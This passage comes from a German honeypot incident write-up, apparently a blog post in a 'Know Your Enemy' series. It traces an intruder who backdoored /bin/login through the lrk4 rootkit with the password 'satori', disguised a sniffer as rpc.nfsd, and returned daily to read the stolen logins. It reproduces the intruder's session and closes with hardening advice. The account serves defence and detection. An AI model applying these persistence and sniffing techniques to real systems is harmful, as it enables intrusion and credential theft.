und rewt Eintrag wieder gelöscht), also mußte er in einer der modifizierten<br />
Binaries eine Hintertür offen gelassen haben. Außerdem waren zwei Dateien<br />
hinzugefügt worden, /usr/sbin/sniff.pid und /usr/sbin/tcp.log. Nicht ganz<br />
überraschend war /usr/sbin/sniff.pid die pid des Sniffers und /usr/sbin/tcp.log<br />
war die Datei in der er alle gesammelten Informationen ablegt. Ausgehend von<br />
/usr/sbin/sniff.pid stellte sich heraus, das rpc.nfsd der Sniffer war. Unser<br />
Eindringling hatte einen Sniffer kompiliert, in diesem Fall linsniffer, und<br />
rpc.nfsd damit ersetzt. Das stellte sicher, das auch nach einem reboot der<br />
Sniffer durch den init-Prozeß gestartet wurde. Folgendes bestätigt, das rpc.nfsd<br />
der Sniffer ist:</p>
<p>mozart #strings /usr/sbin/rpc.nfsd | tail -15<br />
cant get SOCK_PACKET socket<br />
cant get flags<br />
cant set promiscuous mode<br />
&#8212;&#8211; [CAPLEN Exceeded]<br />
&#8212;&#8211; [Timed Out]<br />
&#8212;&#8211; [RST]<br />
&#8212;&#8211; [FIN]<br />
%s =&gt;<br />
%s [%d]<br />
sniff.pid<br />
eth0<br />
tcp.log<br />
cant open log<br />
rm %s</p>
<p>Nachdem ich mein System untersucht und verstanden hatte, was vorgegangen war,<br />
ließ ich es alleine. Ich war neugierig, was seine nächsten Schritte sein würden.<br />
Ich wollte nicht, daß er wußte, daß ich ihn erwischt hatte, deshalb löschte ich<br />
alle meine Spuren aus /usr/sbin/tcp.log.</p>
<p><strong>Die Rückkehr des Script Kiddies</strong><br />
Am nächsten Tag kam unser Freund wieder. Durch loggen seiner Tastatureingaben<br />
fand ich schnell die Hintertür: /bin/login war ein Trojaner. Diese Binary, die<br />
für Telnetsitzungen verwendet wird, war so konfiguriert, das der Account &#8220;rewt&#8221;<br />
mit dem Passwort &#8220;satori&#8221; root Rechte erhielt. &#8220;satori&#8221; ist das Standardpasswort<br />
für alle Trojaner, die von lrk4 installiert werden, ein sicheres<br />
Erkennungszeichen, daß Dein System kompromittiert sein könnte.</p>
<p>Der Eindringling prüfte, ob der Sniffer noch funktionierte. Außerdem wollte er<br />
wissen, ob irgendwelche Accounts seit dem vorherigen Tag abgefangen wurden. Hier<br />
seine Eingaben:</p>
<p>Red Hat Linux release 5.1 (Manhattan)<br />
Kernel 2.0.35 on an i586</p>
<p>mozart login: rewt<br />
Password:<br />
[root@mozart /root]# w<br />
4:11pm  up 17:39,  0 users,  load average: 0.00, 0.00, 0.00<br />
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT<br />
[root@mozart /root]# ps aux<br />
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND<br />
bin        250  0.0  1.1   776   352  ?  S   03:32   0:00 portmap<br />
daemon     228  0.0  1.3   796   416  ?  S   03:32   0:00 /usr/sbin/atd<br />
root         1  0.0  1.4   792   432  ?  S   03:31   0:03 init [3]<br />
root         2  0.0  0.0     0     0  ?  SW  03:31   0:00 (kflushd)<br />
root         3  0.0  0.0     0     0  ?  SW&lt; 03:31   0:00 (kswapd)<br />
root         4  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)<br />
root         5  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)<br />
root        36  0.0  1.1   752   364  ?  S   03:32   0:00 /sbin/kerneld<br />
root        61  0.0  2.2  1196   688  ?  S   03:32   0:00 bash<br />
/etc/rc.d/rc 3<br />
root       208  0.0  0.4   268   152  ?  S   03:32   0:00 syslogd<br />
root       217  0.0  1.7   928   548  ?  S   03:32   0:00 klogd<br />
root       239  0.0  1.5   864   488  ?  S   03:32   0:00 crond<br />
root       261  0.0  2.5  1252   776  ?  S   03:32   0:00 /usr/sbin/snmpd<br />
-f<br />
root       273  0.0  0.4   168   140  ?  S   03:32   0:00 inetd<br />
root       284  0.0  2.0  1000   620  ?  S   03:32   0:00 named<br />
root       297  0.0  2.2  1192   684  ?  S   03:32   0:00 sh<br />
/etc/rc.d/rc3.d/S6<br />
root       306  0.0  1.6   852   504  ?  S   03:32   0:00 rpc.mountd<br />
root       314  0.0  1.3   876   404  ?  S   03:32   0:00 rpc.nfsd<br />
root       599  0.4  2.2  1240   696  ?  S   21:11   0:00 in.telnetd<br />
root       600  1.3  2.5  1184   772  p0 S   21:11   0:00 -bash<br />
root       614  0.0  1.2   920   400  p0 R   21:11   0:00 ps aux<br />
[root@mozart /root]# cd /usr/sbin<br />
[root@mozart sbin]# ls<br />
ClockProg             innd                  sendfax<br />
SVGATextMode          inndstart             sendmail<br />
accton                ipop2d                set80<br />
adduser               ipop3d                setVGAreg<br />
am-eject              kbdconfig             setclock<br />
amd                   klogd                 setconsole<br />
amq                   logrotate             setpalette<br />
apmd                  lpc                   setup<br />
atd                   lpd                   showmount<br />
atrun                 lpf                   sliplogin<br />
automount             makewhatis            smbd<br />
bootpd                mk-amd-map            smbmount<br />
bootpef               mkdict                smbumount<br />
bootptest             mkpasswd              sndconfig<br />
callback              mouseconfig           sniff.pid<br />
chat                  named                 snmpd<br />
chpasswd              named-xfer            snmptrapd<br />
chroot                named.reload          squid<br />
clockprobe            named.restart         squid.novm<br />
create-cracklib-dict  ncpserv               stm<br />
crond                 ndc                   stm-menu<br />
ctlinnd               newusers              strfile<br />
dbmmanage             nmbd                  swapdev<br />
dhcpd                 ntpdate               syslogd<br />
dhcrelay              ntpq                  tcp.log<br />
dip                   ntptrace              tcpd<br />
diplogin              ntsysv                tcpdchk<br />
dump-acct             nwbind                tcpdmatch<br />
dump-utmp             nwclient              tcpdump<br />
edquota               nwconn                tickadj<br />
exportfs              nwserv                timeconfig<br />
faxrunqd              pac                   timed<br />
fixmount              packer                timedc<br />
fsinfo                pmap_dump             tmpwatch<br />
fuser                 pmap_set              traceroute<br />
gated                 portmap               try-from<br />
getVGAreg             pppd                  tunelp<br />
getpalette            pppstats              unstr<br />
grabmode              pwck                  useradd<br />
groupadd              pwconv                userdel<br />
groupdel              pwunconv              userhelper<br />
groupmod              quotastats            usermod<br />
grpck                 ramsize               usernetctl<br />
grpconv               rdev                  uuchk<br />
grpunconv             rdistd                uucico<br />
hlfsd                 readprofile           uuconv<br />
htdigest              repquota              uusched<br />
htpasswd              rhbackup              uuxqt<br />
httpd                 rmt                   vidmode<br />
huntd                 rootflags             vipw<br />
imapd                 routed                warnquota<br />
in.comsat             rpc.bootparamd        wire-test<br />
in.fingerd            rpc.mountd            wsmbconf<br />
in.ftpd               rpc.nfsd              xferstats<br />
in.identd             rpc.rquotad           xntpd<br />
in.nnrpd              rpc.rusersd           xntpdc<br />
in.ntalkd             rpc.rwalld            ypbind<br />
in.rexecd             rpc.yppasswdd         yppoll<br />
in.rlogind            rpc.ypxfrd            yppush<br />
in.rshd               rpcinfo               ypserv<br />
in.talkd              rwhod                 ypset<br />
in.telnetd            sa                    zdump<br />
in.tftpd              safe_finger           zic<br />
in.timed              samba<br />
inetd                 sbpnpprobe<br />
[root@mozart sbin]# paste tcp.log</p>
<p>1Cust118.tnt1.long-branch.nj.da.uu.net =&gt; mozart [23]<br />
#&#8217;vt1002!rewt<br />
satori<br />
last -210110<br />
cd /log<br />
ls<br />
/cd /var/log<br />
ls</p>
<p>&#8212;&#8211; [Timed Out]</p>
<p>router =&gt; mozart [23]<br />
!&#8221;&#8216;#o% 38400,38400&#8242;VT100root<br />
fergit<br />
ls<br />
cat /etc/hosts</p>
<p>&#8212;&#8211; [Timed Out]<br />
Exiting&#8230;<br />
[root@mozart sbin]# w<br />
4:11pm  up 17:39,  0 users,  load average: 0.00, 0.00, 0.00<br />
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT<br />
[root@mozart sbin]# cat /etc/hosts<br />
127.0.0.1               localhost localhost.localdomain<br />
172.20.1.130            mozart mozart<br />
172.20.1.1      router<br />
[root@mozart sbin]# uname -a<br />
Linux mozart 2.0.35 #1 Tue Jul 14 23:56:39 EDT 1998 i586 unknown<br />
[root@mozart sbin]# netstat -r<br />
Kernel IP routing table<br />
Destination     Gateway         Genmask         Flags   MSS Window  irtt<br />
Iface<br />
172.20.1.0      *               255.255.255.0   U      1500 0          0<br />
eth0<br />
127.0.0.0       *               255.0.0.0       U      3584 0          0<br />
lo<br />
default         router          0.0.0.0         UG     1500 0          0<br />
eth0<br />
[root@mozart sbin]# netstat -rs<br />
netstat: illegal option &#8212; s<br />
usage: netstat [-veenNcCF] [<af>] -r         netstat {-V|&#8211;version|-h|&#8211;<br />
help}<br />
netstat [-vnNcaeo] [<socket>]<br />
netstat { [-veenNac] -i | [-vnNc] -L | [-cnNe] -M }</socket></af></p>
<p>-r, &#8211;route              display routing table<br />
-L, &#8211;netlink            display netlink kernel messages<br />
-i, &#8211;interfaces         display interface table<br />
-M, &#8211;masquerade         display masqueraded connections</p>
<p>-v, &#8211;verbose            be verbose<br />
-n, &#8211;numeric            dont resolve names<br />
-e, &#8211;extend             display other/more informations<br />
-c, &#8211;continuous         continuous listing</p>
<p>-a, &#8211;all, &#8211;listening   display all<br />
-o, &#8211;timers             display timers</p>
<p><socket>={-t|&#8211;tcp} {-u|&#8211;udp} {-w|&#8211;raw} {-x|&#8211;unix} &#8211;ax25 &#8211;ipx &#8211;<br />
netrom<br />
<af>= -A {inet|ipx|netrom|ddp|ax25},&#8230; &#8211;inet &#8211;ipx &#8211;netrom &#8211;ddp &#8211;ax25<br />
[root@mozart sbin]#ls<br />
ClockProg             innd                  sendfax<br />
SVGATextMode          inndstart             sendmail<br />
accton                ipop2d                set80<br />
adduser               ipop3d                setVGAreg<br />
am-eject              kbdconfig             setclock<br />
amd                   klogd                 setconsole<br />
amq                   logrotate             setpalette<br />
apmd                  lpc                   setup<br />
<schnipp><br />
[root@mozart sbin]# rpc.nfsd<br />
ÿò[root@mozart sbin]# ps aux<br />
USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND<br />
bin        250  0.0  1.1   776   352  ?  S   03:32   0:00 portmap<br />
daemon     228  0.0  1.3   796   416  ?  S   03:32   0:00 /usr/sbin/atd<br />
root         1  0.0  1.4   792   432  ?  S   03:31   0:03 init [3]<br />
root         2  0.0  0.0     0     0  ?  SW  03:31   0:00 (kflushd)<br />
root         3  0.0  0.0     0     0  ?  SW&lt; 03:31   0:00 (kswapd)<br />
root         4  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)<br />
root         5  0.0  0.0     0     0  ?  SW  03:31   0:00 (md_thread)<br />
root        36  0.0  1.1   752   364  ?  S   03:32   0:00 /sbin/kerneld<br />
root        61  0.0  2.2  1196   688  ?  S   03:32   0:00 bash<br />
/etc/rc.d/rc 3<br />
root       208  0.0  0.4   268   152  ?  S   03:32   0:00 syslogd<br />
root       217  0.0  1.7   928   548  ?  S   03:32   0:00 klogd<br />
root       239  0.0  1.5   864   488  ?  S   03:32   0:00 crond<br />
root       261  0.0  2.5  1252   776  ?  S   03:32   0:00 /usr/sbin/snmpd<br />
-f<br />
root       273  0.0  0.4   168   140  ?  S   03:32   0:00 inetd<br />
root       284  0.0  2.0  1000   620  ?  S   03:32   0:00 named<br />
root       297  0.0  2.2  1192   684  ?  S   03:32   0:00 sh<br />
/etc/rc.d/rc3.d/S6<br />
root       306  0.0  1.6   852   504  ?  S   03:32   0:00 rpc.mountd<br />
root       314  0.0  1.3   876   404  ?  S   03:32   0:00 rpc.nfsd<br />
root       599  0.0  2.2  1240   696  ?  S   21:11   0:00 in.telnetd<br />
root       600  0.1  2.5  1184   772  p0 S   21:11   0:00 -bash<br />
root       626  0.0  1.2   920   400  p0 R   21:12   0:00 ps aux<br />
[root@mozart sbin]# rm tcp.log<br />
rm: remove `tcp.log&#8217;? y<br />
[root@mozart sbin]# kill -9 314<br />
[root@mozart sbin]# rm rpc.nfsd</schnipp></af></socket></p>
<p>Beachte, das er ganz zum Schluß den Sniffer stoppt. Das war das letzte, was er<br />
vor der Beendigung der Sitzung tat. Er kam jedoch schnell zurück, nur um den<br />
Sniffer neu zu starten. Ich bin mir nicht ganz sicher, warum er das getan hat.</p>
<p>Dieser Vorgang des Systemchecks wiederholte sich für einige Tage. Jeden Tag kam<br />
der Eindringling zurück, um zu prüfen, ob der Sniffer noch lief und ob er<br />
irgendwelche wertvollen Daten gesammelt hatte. Nach dem vierten Tag beschloß<br />
ich, daß es nun genug sei und trennte das System. Ich hatte genug von dem<br />
Eindringling gelernt und schien nichts neues mehr lernen zu können.</p>
<p><strong>Schlußfolgerung</strong></p>
<p>Wir haben hier von Anfang bis Ende gesehen, wie sich ein Eindringling benehmen<br />
könnte, sobald sie erst mal root sind. Sie fangen oft damit an, zu prüfen ob<br />
irgendjemand auf dem System ist. Wenn sie erst mal wissen, daß sie allein sind,<br />
verwischen sie ihre Spuren, indem sie Logfiles säubern und wichtige Dateien<br />
verändern bzw. modifizieren. Wenn sie erst mal sicher versteckt sind starten sie<br />
neue und schädlichere Aktivitäten. Um sich besser gegen diese Bedrohung zu<br />
schützen, empfehle ich seine Systeme zu sichern (panzern). Grundlegender Schutz<br />
reicht für die meisten Script Kiddies da sie nach dem leichten Opfer suchen.<br />
Eine Vorstellung davon, wie man sein System sichert (panzert), bekommt man bei<br />
http://www.enteract.com/~lspitz/linux.html bzw.<br />
http://www.enteract.com/~lspitz/solaris.html. Wenn es zu spät ist und Dein<br />
System schon kompromittiert wurde, kann man hier nachlesen</p>
<p>http://www.cert.org/nav/recovering.html</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.danielschroeter.de/security-informations/den-feind-kennen-teil-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
